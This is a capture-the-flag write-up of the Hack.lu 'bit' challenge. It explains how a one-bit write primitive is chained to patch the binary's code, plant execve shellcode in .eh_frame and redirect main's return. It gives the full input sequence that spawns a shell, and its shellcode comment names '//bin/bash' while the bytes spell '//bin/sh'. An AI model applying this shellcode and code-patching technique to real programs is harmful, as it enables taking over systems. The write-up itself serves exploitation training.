This year I had a little time to solve few challenges of the Hack.lu CTF. I am going to explain in this article how I solved the bit challenge.
In the main function we see that the program does a scanf with the fmt parameter
%lx:%u so it expects a long in hexadecimal format and an unsigned int. So
the input expected by scanf will be like 0xdeadbeef:42.
The two values are stored respectively at adresses
0x0040066d mov edx, 0x601020 ; address 0x00400672 mov esi, 0x601018 ; uint 0x00400677 mov edi, str._lx:_u ; 0x4007d4 ; "%lx:%u" 0x0040067c mov eax, 0 0x00400681 call sym.imp.__isoc99_scanf
We see that those two values are used to do several things. First there is a check on the uint if it is greater than 7 the programs ends.
0x00400695 mov eax, dword [0x00601020] ; uint 0x0040069b cmp eax, 7 ; 7
Then we see that the address is used as a parameter to mprotect with RWX rights
0x004006a7 mov rax, qword [0x00601018] ; address 0x004006ae and rax, 0xffffffffffff1000 0x004006b4 mov edx, 7 ; prot = RWX 0x004006b9 mov esi, 0x1000 ; size = 0x1000 0x004006be mov rdi, rax ; address & 0xffffffffffff1000 0x004006c1 call sym.imp.mprotect
Finally, the last important point, we see that the programs take the byte located at the address, XOR it with 0x1 << uint and replace it with the XORed value.
0x004006c6 mov rax, qword [0x00601018] ; rax = address 0x004006cd mov rsi, rax 0x004006d0 mov rax, qword [0x00601018] ; rax = address 0x004006d7 mov rdx, qword [0x00601018] ; rdx = address 0x004006de movzx edx, byte [rdx] ; we take the byte at address and put it in edx 0x004006e1 mov ecx, dword [0x00601020] ; ecx = uint 0x004006e7 mov edi, 1 0x004006ec shl edi, cl ; edi = 1 << uint 0x004006ee mov ecx, edi ; ecx = 1 << uint 0x004006f0 xor edx, ecx ; edx = byte[address] XOR (1 << uint) 0x004006f2 mov byte [rax], dl ; byte[address] = dl
After this, the permissions previously granted by mprotect are restored to RW and the program exits.
So, it means, we can write a byte somewhere in memory with some restrictions due to the check on uint and the XOR with 0x1 << uint.
Finding the hint
In order to find the proper place to replace the byte I used a simple bruteforce iterating over the memory space. For each address I tested values from 0 to 7 for the uint. This exercise is left to the reader.
After a couple of seconds we realize that the bruteforce hangs for input 0x40072a:4.
After analysis in a gdb session we realize that we overwrote the
that is why the program loops. It actually hangs because it expects a new input.
So we can now write multiple bytes in memory but still with some conditions.
Removing the restrictions
Since we can write unlimited bytes in the .text section of the running binary we can patch the code running and bypass the restrictions. The final objective is to write any byte anywhere in memory so that we can write a shellcode and jump on it. We are going to proceed in steps:
- Removing the restriction on the value of the uint
- Removing the boring XOR with 0x1 << uint
Hereafter is the input to provide in order to increase the value allowed for uint. We can now have a uint value up to 0xf3.
// cmp eax, 0x83 0x40069d:7 // cmp eax, 0xc3 0x40069d:6 // cmp eax, 0xe3 0x40069d:5 // cmp eax, 0xf3 0x40069d:4
Now lets make the program store directly uint at address to make our life easier. Before doing that we have to first change the value shifted with uint so that we can patch the code more easily.
// step needed for next move // mov edi, 0x1 -> mov edi, 0x3 0x4006e8:1 // we don't store the value of the shift in ecx // mov ecx, edi -> mov ecx, ecx 0x4006ef:4 // we write directly cl (uint) into memory // mov byte [rax], dl -> mov byte [rax], cl 0x4006f3:24
At the end of these two steps, we can write any byte up to 0xf3 anywhere in memory. Before going on, let's just make the last mprotect inefficient so that we can then execute the shellcode.
// mov edx, 5 -> mov edx, 7 we keep the EXEC flag on the section 0x00400707:7
Now we can write almost whatever we want everywhere, we just have to find a place to write our shellcode and jump on it.
After few attempts, I have noticed that writing the shellcode in section section..eh_frame works because it does not make the program crashing. There are probably other places to write it but since it works like this, why searching? :)
Writting the shellcode
// Shellcode execve("//bin/bash") // \xf7\xe6\x52\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68 // \x53\x48\x8d\x3c\x24\xb0\x3b\x0f\x05 0x400810:247 0x400811:230 0x400812:82 0x400813:72 0x400814:187 0x400815:47 0x400816:98 0x400817:105 0x400818:110 0x400819:47 0x40081a:47 0x40081b:115 0x40081c:104 0x40081d:83 0x40081e:72 0x40081f:141 0x400820:60 0x400821:36 0x400822:176 0x400823:59 0x400824:15 0x400825:5
Now we have to find a way to jump on it. My idea is simple, write the trampoline
just after the
ret instruction of the
main function and replace the
nop when it is done.
// Trampoline to shellcode previously written @ 0x400810 // 0x400733 is just after the ret of the main function // mov rax, 0x400810 // push rax // ret // \x48\xc7\xc0\x10\x08\x40\x00\x50\xc3 0x400733:72 0x400734:199 0x400735:192 0x400736:16 0x400737:8 0x400738:64 0x400739:0 0x40073a:80 0x40073b:195
And now we just have to replace the
ret instruction of the
main function and
the code will reach our trampoline.
// Overwrite ret with nop 0x00400732:90
We are done, we should get a shell ... ;)
Putting all together
Providing the following input to the program should pop you a shell and give you an access to the flag.
0x40072a:4 0x40069d:7 0x40069d:6 0x40069d:5 0x40069d:4 0x4006e8:1 0x4006ef:4 0x4006f3:24 0x00400707:7 0x400810:247 0x400811:230 0x400812:82 0x400813:72 0x400814:187 0x400815:47 0x400816:98 0x400817:105 0x400818:110 0x400819:47 0x40081a:47 0x40081b:115 0x40081c:104 0x40081d:83 0x40081e:72 0x40081f:141 0x400820:60 0x400821:36 0x400822:176 0x400823:59 0x400824:15 0x400825:5 0x400733:72 0x400734:199 0x400735:192 0x400736:16 0x400737:8 0x400738:64 0x400739:0 0x40073a:80 0x40073b:195 0x00400732:90
If you want to understand every single input provided to the program you can attach a debugger on it and check the code of the binary after each input. According to the number of points attributed to this challenge I have the feeling that my solution is maybe too complex, but it works!
I hope you enjoyed.